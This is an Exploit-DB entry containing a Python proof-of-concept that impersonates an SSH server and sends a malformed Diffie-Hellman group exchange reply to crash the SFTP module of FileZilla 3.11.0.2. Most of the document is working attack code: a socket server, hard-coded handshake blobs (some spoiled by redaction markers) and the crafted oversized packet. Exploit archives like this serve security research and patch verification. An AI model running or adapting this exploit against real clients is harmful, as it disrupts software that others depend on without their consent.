Exploit-DB #37286
Description: FileZilla 3.11.0.2 SFTP Module - Denial of Service
Type: dos
Platform: windows
Date: 2015-06-15
Author: 3unnym00n

Exploit:
'''
# Exploit title: filezilla 3.11.0.2 sftp module denial of service vulnerability
# Date: 5-6-2015
# Vendor homepage: http://www.chiark.greenend.org.uk
# Software Link: http://dl.filehorse.com/win/file-transfer-and-networking/filezilla/FileZilla-3.11.0.2.exe?st=6b87ZegIN1LDhSGAw5M4wg&e=[PII_REDACTED]&fn=FileZilla_3.11.0.2_win32-setup.exe
# Version: 3.11.0.2
# Author: 3unnym00n

# Details:
# --------
# sftp module for filezilla based on putty's psftp component.
# when doing the ssh dh group exchange old style, if the server send a malformed dh group exchange reply, can lead the filezilla component crash

# Tested On: win7, xp
# operating steps: run the py, then execute : "D:\programfile\FileZilla FTP Client\filezilla.exe" sftp://root@127.0.0.1

'''


import socket
import struct

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.bind(('127.0.0.1', 22))
soc.listen(1)
client, addr = soc.accept()

## do banner exchange
## send server banner
client.send('SSH-2.0-SUCK\r\n')
## recv client banner
client_banner = ''
while True:
    data = client.recv(1)
    if data == '\x0a':
        break
    client_banner += data

print 'the client banner is: %s'%client_banner.__repr__()

## do key exchange
## recv client algorithms
str_pl = client.recv(4)
pl = struct.unpack('>I', str_pl)[0]
client.recv(pl)
## send server algorithms
client.send('000001b4091464f9a91726b1efcfa98bed8e93bbd93d[PII_REDACTED][PII_REDACTED]2d68656c6c6d616e2d67726f75702d[PII_REDACTED]6e67652d736861312c[PII_REDACTED]652d68656c6c6d616e2d67726f757031342d736861312c[PII_REDACTED]652d68656c6c6d616e2d67726f7570312d[PII_REDACTED][PII_REDACTED]682d[PII_REDACTED][PII_REDACTED]3132382d6374722c[PII_REDACTED]362d6374722c[PII_REDACTED]382d6362632c626c6f[PII_REDACTED]2d6362632c[PII_REDACTED]362d6362632c336465732d6362632c617263666f[PII_REDACTED]2c617263666f[PII_REDACTED][PII_REDACTED][PII_REDACTED]2d6374722c[PII_REDACTED]362d6374722c[PII_REDACTED]382d6362632c626c6f[PII_REDACTED]2d6362632c[PII_REDACTED]362d6362632c336465732d6362632c617263666f[PII_REDACTED]2c617263666f[PII_REDACTED]0000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d[PII_REDACTED]2b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d[PII_REDACTED]046e6f6e[PII_REDACTED]6e6f6e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]000000'.decode('hex'))


## do dh key exchange
## recv dh group exchange request
str_pl = client.recv(4)
pl = struct.unpack('>I', str_pl)[0]
client.recv(pl)
## send dh group exchange group
client.send('[PII_REDACTED]1f[PII_REDACTED]c038282de061be1ad34f31325efe9b1d8520db14276ceb61fe3a2cb8d77ffe3b9a067505205bba8353847fd2ea1e2471e4294862a5d4c4f9a2b80f9da0619327cdbf2eb608b0b5549294a955972aa3512821b24782dd8ab97b53aab04b48180394abfbc4dcf9b819fc0cb5ac1275ac5f16ec378163501e4b27d49c67f660333888f1d503b96fa9c6c880543d8b5f04d70fe508ffca161798ad32015145b8e9ad43aab48ada81fd1e5a8ea7711a8ff57ec7c4c081b47fab0c2e9fa468e70dd6700f[PII_REDACTED]d5e99527a596ce635195f3a6d35e563bf4892df2c79c[PII_REDACTED]18d919102d12cb112ce1e66ebf5db9f409f6c82a6a6e1e21e23532cf24a6e[PII_REDACTED][PII_REDACTED]0000000'.decode('hex'))

## recv dh group exchange init
str_pl = client.recv(4)
pl = struct.unpack('>I', str_pl)[0]
client.recv(pl)

## send dh group exchange reply
dh_gex_reply_msg = '\x00\x00\x02\x3c' ## pl
dh_gex_reply_msg += '\x09' ## padding len
dh_gex_reply_msg += '\x21' ## dh gex reply
dh_gex_reply_msg += '\x00\x00\xff\xff' ## dh host key len
dh_gex_reply_msg += 'A'*600

client.sendall(dh_gex_reply_msg)